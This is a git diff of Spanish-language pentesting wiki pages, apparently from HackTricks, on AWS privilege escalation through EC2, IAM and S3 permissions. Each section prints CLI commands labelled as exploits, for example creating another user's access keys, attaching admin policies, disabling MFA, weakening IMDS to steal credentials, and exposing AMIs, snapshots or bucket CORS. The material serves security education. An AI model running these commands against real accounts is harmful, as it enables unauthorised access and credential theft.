necesitas conocer un nombre de usuario y contraseña para explotarlo. -**Impacto potencial:** (Altamente difícil de probar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución. +**Potential Impact:** (Altamente imposible de demostrar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución. ### `describe-launch-templates`,`describe-launch-template-versions` -Dado que launch templates tienen versionado, un atacante con permisos **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles: +Dado que los launch templates cuentan con versionado, un atacante con **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** permisos podría explotarlos para descubrir información sensible, como credenciales presentes en el user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -250,9 +250,9 @@ done ``` En los comandos anteriores, aunque estamos especificando ciertos patrones (`aws_|password|token|api`), puedes usar una regex diferente para buscar otros tipos de información sensible. -Si encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS. +Suponiendo que encontremos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS. -**Impacto potencial:** Escalado directo de privilegios a usuario(s) IAM. +**Impacto potencial:** Escalada de privilegios directa a usuario(s) IAM. ## Referencias @@ -263,12 +263,12 @@ Si encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas -### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) +### `ec2:ModifyInstanceMetadataOptions` (degradación de IMDS para habilitar el robo de credenciales mediante SSRF) -Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible mediante rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha aplicación, puede recuperar las credenciales del instance profile y pivotar con ellas. +Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando el `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible a través de rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar una SSRF en dicha aplicación, puede recuperar las credenciales del perfil de instancia y pivotar con ellas. -- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar un SSRF en el host). -- Recurso objetivo: La instancia EC2 en ejecución con un instance profile adjunto (IAM role). +- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar una SSRF en el host). +- Recurso objetivo: La instancia EC2 en ejecución con un perfil de instancia adjunto (rol IAM). Ejemplo de comandos: ```bash @@ -297,5 +297,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Impacto potencial: Robo de las credenciales del instance profile vía SSRF, llevando a privilege escalation y lateral movement con los permisos del role de EC2. +Impacto potencial: Robo de credenciales del perfil de instancia mediante SSRF, lo que puede conducir a escalada de privilegios y movimiento lateral con los permisos del rol de EC2. + +### `ec2:ModifyInstanceMetadataOptions` + +Un atacante con el permiso ec2:ModifyInstanceMetadataOptions puede debilitar las protecciones del Instance Metadata Service (IMDS) — por ejemplo, forzando IMDSv1 (haciendo que HttpTokens no sea obligatorio) o incrementando HttpPutResponseHopLimit — facilitando así la exfiltración de credenciales temporales. El vector de riesgo más relevante es aumentar HttpPutResponseHopLimit: al incrementar ese límite de saltos (TTL), el endpoint 169.254.169.254 deja de estar estrictamente limitado al espacio de nombres de red de la VM y puede volverse accesible desde otros procesos/contenedores, permitiendo el robo de credenciales. +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +Un atacante con los permisos ec2:ModifyImageAttribute y ec2:ModifySnapshotAttribute puede compartir AMIs o snapshots con otras cuentas de AWS (o incluso hacerlos públicos), exponiendo imágenes o volúmenes que pueden contener datos sensibles como configuraciones, credenciales, certificados o copias de seguridad. Al modificar los launch permissions de una AMI o los create-volume permissions de un snapshot, el atacante permite que terceros lancen instancias o monten discos desde esos recursos y accedan a su contenido. + +Para compartir una AMI con otra cuenta: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +Para compartir un EBS snapshot con otra cuenta: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index fd2864465..54636eb1b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,38 +12,38 @@ Para más información sobre IAM consulta: ### **`iam:CreatePolicyVersion`** -Concede la capacidad de crear una nueva versión de política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar el flag `--set-as-default`. Esto permite definir permisos personalizados. +Concede la capacidad de crear una nueva versión de la política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar el flag `--set-as-default`. Esto permite definir permisos personalizados. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso. +**Impact:** Escala privilegios directamente al permitir cualquier acción en cualquier recurso. ### **`iam:SetDefaultPolicyVersion`** -Permite cambiar la versión predeterminada de una IAM policy a otra versión existente, lo que puede escalar privilegios si la nueva versión tiene más permisos. +Permite cambiar la versión predeterminada de una IAM policy por otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos. **Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impacto:** Escalada de privilegios indirecta al habilitar más permisos. +**Impacto:** Indirect privilege escalation al habilitar más permisos. ### **`iam:CreateAccessKey`** -Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una escalada de privilegios. +Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a privilege escalation. -**Explotación:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impacto:** Privilege escalation directo al asumir los permisos extendidos de otro usuario. +**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permite crear o actualizar un perfil de inicio de sesión, incluyendo establecer contraseñas para el inicio de sesión de la consola de AWS, lo que conduce a privilege escalation directo. +Permite crear o actualizar un perfil de inicio de sesión, incluyendo el establecimiento de contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa. **Exploit para la creación:** ```bash @@ -55,17 +55,17 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impacto:** Escalada de privilegios directa al iniciar sesión como el usuario "any". +**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario. ### **`iam:UpdateAccessKey`** -Permite volver a habilitar una access key deshabilitada, lo que puede provocar acceso no autorizado si el atacante posee dicha access key. +Permite habilitar una access key deshabilitada, lo que podría dar lugar a acceso no autorizado si el atacante posee la access key deshabilitada. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impacto:** Escalada directa de privilegios al reactivar claves de acceso. +**Impacto:** Escalada de privilegios directa al reactivar claves de acceso. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** @@ -75,35 +75,35 @@ Permite generar o restablecer credenciales para servicios específicos de AWS (p ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Exploit para Restablecimiento:** +**Exploit para Reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impacto:** Escalada de privilegios directa dentro de los permisos de servicio del usuario. +**Impacto:** Escalada de privilegios directa dentro de los permisos del servicio del usuario. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permite adjuntar políticas a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la política adjunta. +Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta. -**Exploit para el usuario:** +**Exploit para usuario:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit para Grupo:** +**Exploit para Group:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impacto:** Direct privilege escalation to anything the policy grants. +**Impacto:** Escalada de privilegios directa a cualquier cosa que la política otorgue. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permite adjuntar o aplicar políticas a roles, usuarios o grupos, habilitando Direct privilege escalation al conceder permisos adicionales. +Permite adjuntar o insertar políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al otorgar permisos adicionales. **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploit para Inline Policies:** +**Exploit para políticas inline:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,7 +127,7 @@ Puedes usar una política como: ] } ``` -**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas. +**Impacto:** Escalada de privilegios directa añadiendo permisos mediante políticas. ### **`iam:AddUserToGroup`** @@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Permite modificar el documento assume role policy de un role, permitiendo asumir ese role y sus permisos asociados. +Permite alterar el documento de la política de asunción de un role, habilitando la asunción del role y sus permisos asociados. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Cuando la política se vea como la siguiente, que le da al usuario permiso para asumir el rol: +Cuando la política se vea como la siguiente, la cual le otorga al usuario permiso para asumir el rol: ```json { "Version": "2012-10-17", @@ -163,38 +163,38 @@ Cuando la política se vea como la siguiente, que le da al usuario permiso para ] } ``` -**Impacto:** Direct privilege escalation al asumir los permisos de cualquier role. +**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a un potential indirect privilege escalation. +Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta. -**Exploit for SSH Key Upload:** +**Exploit para subida de clave SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit para desactivación de MFA:** +**Exploit para la desactivación de MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impacto:** Escalada de privilegios indirecta al habilitar el acceso a CodeCommit o al deshabilitar la protección MFA. +**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA. ### **`iam:ResyncMFADevice`** -Permite la resincronización de un dispositivo MFA, lo que podría conducir a una escalada de privilegios indirecta al manipular la protección MFA. +Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA. **Comando Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA. +**Impacto:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que confíe en ella**. +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Entonces, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella. -Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, insertar el tuyo, iniciar sesión y restaurar la configuración previa. +Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y volver a configurar el anterior. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Una herramienta capaz de generar el SAML metadata y login con un role especificado +> TODO: Una herramienta capaz de generar los metadatos SAML e iniciar sesión con un rol especificado ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(No estoy seguro de esto) Si un atacante tiene estos **permissions** podría añadir un nuevo **Thumbprint** para lograr el login en todos los roles que confían en el provider. +(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir una nueva **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -227,7 +227,34 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ### `iam:PutUserPermissionsBoundary` Este permiso permite a un atacante actualizar el permissions boundary de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +Un actor con iam:PutRolePermissionsBoundary puede establecer un permissions boundary en un role existente. El riesgo surge cuando alguien con este permiso cambia el permissions boundary de un role: puede restringir indebidamente las operaciones (causando interrupción del servicio) o, si adjunta un permissions boundary permisivo, ampliar efectivamente lo que el role puede hacer y escalar privilegios. +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` ## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 9dba05fff..e24e9d552 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Un atacante con esos permisos sobre buckets interesantes podría secuestrar recursos y escalar privilegios. +An attacker con esos permisos sobre buckets interesantes podría ser capaz de hijack resources y escalate privileges. -Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar el despliegue. El acceso puede otorgarse con la siguiente política: +Por ejemplo, an attacker con esos **permisos sobre un cloudformation bucket** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá hijack el despliegue. El acceso puede otorgarse con la siguiente política: ```json { "Version": "2012-10-17", @@ -34,29 +34,29 @@ Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** ] } ``` -Y el secuestro es posible porque existe una **pequeña ventana de tiempo desde el momento en que la plantilla se sube** al bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **lambda function** en su cuenta que se **dispare cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. +Y el secuestro es posible porque existe una **pequeña ventana de tiempo desde el momento en que la plantilla se sube** al bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **lambda function** en su cuenta que **se active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. ![](<../../../images/image (174).png>) -El módulo de Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\ +El Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\ Para más información consulta la investigación original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Estas son las permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de él) usan el almacenamiento S3 para guardar **archivos de configuración**.\ -Un atacante con **acceso de lectura** a ellos podría encontrar **información sensible**.\ -Un atacante con **acceso de escritura** podría **modificar los datos para abusar de algún servicio e intentar escalar privilegios**.\ -Algunos ejemplos: +Estos son los permisos para **obtener y subir objetos a S3**. Varios servicios dentro de AWS (y fuera de él) usan el almacenamiento S3 para guardar **config files**.\ +Un atacante con **read access** a ellos podría encontrar **información sensible** en ellos.\ +Un atacante con **write access** a ellos podría **modificar los datos para abusar de algún servicio y tratar de escalar privilegios**.\ +Estos son algunos ejemplos: -- Si una instancia EC2 está almacenando los **user data en un bucket S3**, un atacante podría modificarlos para **ejecutar código arbitrario dentro de la instancia EC2**. +- Si una instancia EC2 está almacenando los **user data en un S3 bucket**, un atacante podría modificarlos para **ejecutar código arbitrario dentro de la instancia EC2**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Es muy común que los state files de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en el blob storage de los proveedores cloud, p. ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de los buckets a menudo delatan que contienen terraform state files. Normalmente, cada cuenta AWS tiene un bucket así para almacenar los state files que muestran el estado de la cuenta. Además, en cuentas del mundo real casi siempre todos los desarrolladores tienen `s3:*` y a veces incluso usuarios de negocio tienen `s3:Put*`. +Es muy común que los state files de [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) se guarden en el blob storage de los proveedores cloud, p.ej. AWS S3. El sufijo de archivo para un state file es `.tfstate`, y los nombres de bucket a menudo también delatan que contienen terraform state files. Normalmente, cada cuenta AWS tiene un bucket así para almacenar los state files que muestran el estado de la cuenta. Además, en cuentas del mundo real casi siempre los desarrolladores tienen `s3:*` y a veces incluso los business users tienen `s3:Put*`. -Por lo tanto, si tienes los permisos listados sobre estos archivos, existe un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` —la mayoría de las veces `AdministratorAccess`—, convirtiéndote en administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos. +Entonces, si tienes los permisos listados sobre estos archivos, hay un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de `terraform` —la mayoría de las veces `AdministratorAccess`—, convirtiéndote en el administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que `terraform` elimine recursos legítimos. -Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para obtener código de exploit directamente usable: +Sigue la descripción en la sección *Abusing Terraform State Files* de la página *Terraform Security* para código de exploit directamente usable: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -64,7 +64,7 @@ Sigue la descripción en la sección *Abusing Terraform State Files* de la pági ### `s3:PutBucketPolicy` -Un atacante que necesite ser **de la misma cuenta** —si no, se disparará el error `The specified method is not allowed`— con este permiso podrá otorgarse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets. +Un atacante, que necesita ser **del mismo account**, si no se producirá el error `The specified method is not allowed will trigger`, con este permiso podrá concederse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Un attacker podría abusar de estos permisos para otorgarse mayor acceso a objetos específicos dentro de los buckets. +Un atacante podría abusar de estos permisos para concederse más acceso sobre objetos específicos dentro de los buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Un atacante con estos privilegios debería poder asignar un Acl a una versión específica del objeto +Se espera que un atacante con estos privilegios pueda establecer un Acl en una versión específica de un objeto. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +Un atacante con el permiso s3:PutBucketCORS puede modificar la configuración CORS (Cross-Origin Resource Sharing) de un bucket, que controla qué dominios web pueden acceder a sus endpoints. Si establece una política permisiva, cualquier sitio web podría realizar solicitudes directas al bucket y leer las respuestas desde un navegador. + +Esto significa que, potencialmente, si un usuario autenticado de una web app alojada en el bucket visita el sitio del atacante, el atacante podría explotar la política CORS permisiva y, dependiendo de la aplicación, acceder a los datos de perfil del usuario o incluso secuestrar la cuenta del usuario. +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}